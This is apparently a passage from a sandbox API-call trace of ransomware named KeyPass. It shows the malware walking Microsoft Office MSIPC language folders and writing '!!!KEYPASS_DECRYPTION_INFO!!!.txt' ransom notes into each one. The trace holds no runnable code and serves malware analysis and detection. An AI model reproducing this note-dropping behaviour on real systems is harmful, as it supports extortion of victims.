FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876940 [0259.121] FindNextFileW (in: hFindFile=0x3876940, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.121] FindNextFileW (in: hFindFile=0x3876940, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.121] FindNextFileW (in: hFindFile=0x3876940, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\msipc.dll.mui") returned=".mui" [0259.121] FindNextFileW (in: hFindFile=0x3876940, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.121] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.121] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.121] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.121] GetLastError () returned 0x3f0 [0259.121] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.121] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\es\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab8 [0259.123] GetFileType (hFile=0xab8) returned 0x1 [0259.123] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.123] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.123] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.124] WriteFile (in: hFile=0xab8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.124] WriteFile (in: hFile=0xab8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.125] CloseHandle (hObject=0xab8) returned 1 [0259.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876680 [0259.125] FindNextFileW (in: hFindFile=0x3876680, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.125] FindNextFileW (in: hFindFile=0x3876680, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.125] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.125] FindNextFileW (in: hFindFile=0x3876680, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.125] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\msipc.dll.mui") returned=".mui" [0259.125] FindNextFileW (in: hFindFile=0x3876680, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.125] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.125] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.125] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.125] GetLastError () returned 0x3f0 [0259.125] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.125] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\et\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac0 [0259.127] GetFileType (hFile=0xac0) returned 0x1 [0259.127] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.128] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.128] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.128] WriteFile (in: hFile=0xac0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.128] WriteFile (in: hFile=0xac0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.129] CloseHandle (hObject=0xac0) returned 1 [0259.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876580 [0259.129] FindNextFileW (in: hFindFile=0x3876580, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.129] FindNextFileW (in: hFindFile=0x3876580, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.129] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.129] FindNextFileW (in: hFindFile=0x3876580, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.129] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\msipc.dll.mui") returned=".mui" [0259.129] FindNextFileW (in: hFindFile=0x3876580, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.130] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.130] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.130] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.130] GetLastError () returned 0x3f0 [0259.130] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.130] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\eu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac4 [0259.133] GetFileType (hFile=0xac4) returned 0x1 [0259.133] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.133] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.133] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.133] WriteFile (in: hFile=0xac4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.134] WriteFile (in: hFile=0xac4, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.134] CloseHandle (hObject=0xac4) returned 1 [0259.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876a80 [0259.135] FindNextFileW (in: hFindFile=0x3876a80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.135] FindNextFileW (in: hFindFile=0x3876a80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.135] FindNextFileW (in: hFindFile=0x3876a80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\msipc.dll.mui") returned=".mui" [0259.135] FindNextFileW (in: hFindFile=0x3876a80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.135] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.135] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.135] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.135] GetLastError () returned 0x3f0 [0259.135] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.135] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\fi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac8 [0259.136] GetFileType (hFile=0xac8) returned 0x1 [0259.136] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.137] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.137] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.137] WriteFile (in: hFile=0xac8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.137] WriteFile (in: hFile=0xac8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.138] CloseHandle (hObject=0xac8) returned 1 [0259.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876c80 [0259.138] FindNextFileW (in: hFindFile=0x3876c80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.138] FindNextFileW (in: hFindFile=0x3876c80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.138] FindNextFileW (in: hFindFile=0x3876c80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\msipc.dll.mui") returned=".mui" [0259.138] FindNextFileW (in: hFindFile=0x3876c80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.138] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.138] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.138] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.138] GetLastError () returned 0x3f0 [0259.138] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.139] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\fr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xabc [0259.140] GetFileType (hFile=0xabc) returned 0x1 [0259.140] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.140] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.140] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.140] WriteFile (in: hFile=0xabc, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.140] WriteFile (in: hFile=0xabc, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.141] CloseHandle (hObject=0xabc) returned 1 [0259.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x38766c0 [0259.141] FindNextFileW (in: hFindFile=0x38766c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.141] FindNextFileW (in: hFindFile=0x38766c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.141] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.141] FindNextFileW (in: hFindFile=0x38766c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.141] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\msipc.dll.mui") returned=".mui" [0259.141] FindNextFileW (in: hFindFile=0x38766c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.141] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.141] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.141] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.141] GetLastError () returned 0x3f0 [0259.141] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.141] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\gl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc [0259.142] GetFileType (hFile=0xacc) returned 0x1 [0259.143] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.143] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.143] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.143] WriteFile (in: hFile=0xacc, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.143] WriteFile (in: hFile=0xacc, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.143] CloseHandle (hObject=0xacc) returned 1 [0259.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876700 [0259.144] FindNextFileW (in: hFindFile=0x3876700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.144] FindNextFileW (in: hFindFile=0x3876700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.144] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.144] FindNextFileW (in: hFindFile=0x3876700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.144] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\msipc.dll.mui") returned=".mui" [0259.144] FindNextFileW (in: hFindFile=0x3876700, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.144] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.144] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.144] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.144] GetLastError () returned 0x3f0 [0259.144] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.144] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\he\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0259.145] GetFileType (hFile=0xad0) returned 0x1 [0259.145] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0259.145] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0259.145] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0259.145] WriteFile (in: hFile=0xad0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0259.146] WriteFile (in: hFile=0xad0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0259.146] CloseHandle (hObject=0xad0) returned 1 [0259.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x38765c0 [0259.147] FindNextFileW (in: hFindFile=0x38765c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.147] FindNextFileW (in: hFindFile=0x38765c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.147] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0259.147] FindNextFileW (in: hFindFile=0x38765c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0259.147] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\msipc.dll.mui") returned=".mui" [0259.147] FindNextFileW (in: hFindFile=0x38765c0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0259.147] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0259.147] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0259.147] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0259.147] GetLastError () returned 0x3f0 [0259.147] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0259.147] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0259.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\hi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0259.148] GetFileType (hFile=0xad4) returned 0x1 [0259.148] GetLocaleInfoEx (in: lpLocaleName=0x0, 